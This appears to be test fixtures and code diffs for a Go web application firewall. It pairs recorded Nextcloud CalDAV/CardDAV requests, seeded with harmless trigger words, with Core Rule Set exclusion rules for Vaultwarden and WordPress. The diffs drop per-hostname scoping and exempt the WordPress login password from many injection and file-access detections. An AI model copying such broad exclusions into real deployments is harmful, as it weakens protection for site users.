{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 780", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Python3 and powershell review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 346", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-multiget xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getcontenttype /><getetag /><CAL:schedule-tag /><CAL:calendar-data /></prop><href>/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics</href></CAL:calendar-multiget>"}
{"method": "REPORT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 328", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:calendar-query xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\"><prop><getetag /></prop><CAL:filter><CAL:comp-filter name=\"VCALENDAR\"><CAL:comp-filter name=\"VEVENT\"><CAL:time-range start=\"20260910T000000Z\" /></CAL:comp-filter></CAL:comp-filter></CAL:filter></CAL:calendar-query>"}
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 801", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/calendar; charset=utf-8", "If-Match: \"f9b025a978cf3630a8f4626dc059ad6d\""], "body": "BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:DAVx5/4.4.9-ose ical4j/3.2.19 (at.techbee.jtx)\r\nBEGIN:VEVENT\r\nDTSTAMP:20261110T090000Z\r\nUID:f861af26-0f29-43a9-8d45-6b62a6e532c3\r\nSUMMARY:Powershell\\, ls -la and python3 review\r\nDTSTART;TZID=Europe/Berlin:20261112T100000\r\nDTEND;TZID=Europe/Berlin:20261112T110000\r\nLOCATION:Room .htaccess\\, Python3 Street 2\r\nDESCRIPTION:We read the .htaccess files\\; run ls -la and python3 first.\r\nSEQUENCE:1\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nEND:VTIMEZONE\r\nEND:VCALENDAR\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/f861af26-0f29-43a9-8d45-6b62a6e532c3.ics", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"154f30851681c8504ece3e7b9535bf55\""], "body": ""}
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 179", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CS=\"http://calendarserver.org/ns/\"><prop><CS:getctag /><sync-token /><supported-report-set /></prop></propfind>"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 162", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><sync-collection xmlns=\"DAV:\"><sync-token></sync-token><sync-level>1</sync-level><prop><getetag /></prop></sync-collection>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 377", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-None-Match: *"], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 345", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CARD:addressbook-multiget xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><getcontenttype /><getetag /><CARD:address-data /></prop><href>/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf</href></CARD:addressbook-multiget>"}
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 399", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: text/vcard; charset=utf-8", "If-Match: \"4492d9aaf0b642fba38208a27412aba5\""], "body": "BEGIN:VCARD\r\nVERSION:3.0\r\nPRODID:+//IDN bitfire.at//DAVx5/4.4.9-ose ez-vcard/0.12.1\r\nUID:91b7145c-490b-4fc8-b87f-d7190a168ec9\r\nFN:Grace Python3 Powershell\r\nN:Powershell;Grace;;;\r\nORG:Python3 and .htaccess Works\r\nTITLE:.htaccess and ls -la operator\r\nNOTE:Teaches python3 and powershell\\; keeps the .htaccess notes.\r\nADR;TYPE=home:;;7 Python3 Road;Powershell City;;;\r\nREV:20261110T090000Z\r\nEND:VCARD\r\n"}
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/91b7145c-490b-4fc8-b87f-d7190a168ec9.vcf", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "If-Match: \"9445ef81cb239bb92fe4a963e0a9fe37\""], "body": ""}
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2692072a-8832-45cc-8958-358528b26637/", "headers": ["Host: example.com", "Content-Length: 347", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Python3 trainers</displayname><CARD:addressbook-description>Powershell and python3 contacts; ls -la first</CARD:addressbook-description></prop></set></mkcol>"}
+1 -10
View File
@@ -1,4 +1,4 @@
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that # The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
# refused ordinary Vaultwarden requests there. They are the fields where # refused ordinary Vaultwarden requests there. They are the fields where
# Vaultwarden receives a name, a password hint or an email address in plain # Vaultwarden receives a name, a password hint or an email address in plain
# text, and the names of uploaded files. Each exclusion runs with the request, # text, and the names of uploaded files. Each exclusion runs with the request,
@@ -17,13 +17,6 @@
# 932250: ls -la # 932250: ls -la
# 932260: python3 # 932260: python3
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_vaultwarden when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_vaultwarden itself.
SecRule &TX:app_vaultwarden "@eq 0" \
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
# Names and password hints, in JSON bodies, skip the four rules: # Names and password hints, in JSON bodies, skip the four rules:
# name: signing up, editing the account's profile, and creating or renaming # name: signing up, editing the account's profile, and creating or renaming
# an organization or a group, "python3 .htaccess team" # an organization or a group, "python3 .htaccess team"
@@ -89,5 +82,3 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \ SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
"id:900153,phase:1,pass,nolog,\ "id:900153,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920120;FILES" ctl:ruleRemoveTargetById=920120;FILES"
SecMarker END_VAULTWARDEN
+1 -18
View File
@@ -7,8 +7,6 @@ import (
"slices" "slices"
"strings" "strings"
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
) )
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -32,22 +30,7 @@ const vaultwardenEmail = `{"email":"VALUE"}`
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel() t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden") wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
}
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"vaultwarden"},
})
// An address for the data breach report, which only Vaultwarden's fixes
// let through.
report := get(vaultwardenBreachReport + "python3%40example.com")
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
} }
// vaultwardenField is a field Vaultwarden receives in plain text: the // vaultwardenField is a field Vaultwarden receives in plain text: the
+38 -13
View File
@@ -1,17 +1,10 @@
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # The ninth change: on WordPress's paths, some fields skip the rules that refused
# ordinary WordPress requests there. Each exclusion runs with the request, before # ordinary WordPress requests there. Each exclusion runs with the request, before
# the rules it switches off, so this file is loaded before the Core Rule Set's # the rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused. An exclusion on a field # rules. Each comment names a request the rule refused. An exclusion on a field
# of a body applies only when the query has no parameter of that name, so it # of a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_BODY_LIMIT is set. # matters only while SWW_WAF_BODY_LIMIT is set.
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_wordpress when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_wordpress itself.
SecRule &TX:app_wordpress "@eq 0" \
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
# WordPress takes a call to its REST API at any of four addresses: # WordPress takes a call to its REST API at any of four addresses:
# /wp-json/wp/v2/posts/1 # /wp-json/wp/v2/posts/1
# /index.php/wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1
@@ -103,11 +96,45 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\ ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent" ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, where a password holds any characters: # Signing in, in pwd, which skips each rule that random passwords set off.
# 930120: a password ending in /etc/hosts
SecRule REQUEST_FILENAME "@streq /wp-login.php" \ SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain" "id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd" SecRule &ARGS_GET:pwd "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# Saving through the REST API, the JSON fields title, excerpt and name skip these # Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only # rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
@@ -202,5 +229,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
# so skips 932340 there. # so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
@@ -10,7 +10,6 @@ import (
"testing" "testing"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block" block = "block"
detect = "detect" detect = "detect"
) )
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
} }
} }
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startDiscriminator(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, discriminator.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel() t.Parallel()
+1 -3
View File
@@ -221,8 +221,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in // up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS, // SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of // reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile, ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
}) })
if err != nil { if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err) return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
+3 -4
View File
@@ -331,7 +331,7 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) { func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel() t.Parallel()
for _, method := range []string{http.MethodTrace, "BREW"} { for _, method := range []string{http.MethodTrace, "MKCALENDAR", "BREW"} {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -344,8 +344,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed || if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+ got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+ "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK" {
"MKCALENDAR" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got) t.Errorf("answered %+v, want 405 naming the methods passed on", got)
} }
@@ -371,7 +370,7 @@ func TestEachMethodPassedOnReachesDiscriminatorAndTheApp(t *testing.T) {
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions, http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY", http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH", "PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
"LOCK", "UNLOCK", "MKCALENDAR", "LOCK", "UNLOCK",
} { } {
t.Run(method, func(t *testing.T) { t.Run(method, func(t *testing.T) {
t.Parallel() t.Parallel()
+1 -1
View File
@@ -53,7 +53,7 @@ const ownEndpointPrefix = "/_sww/"
// them. It answers any other method 405 itself. // them. It answers any other method 405 itself.
// The WebDAV ones are for Nextcloud. // The WebDAV ones are for Nextcloud.
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " + const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR" "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK"
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {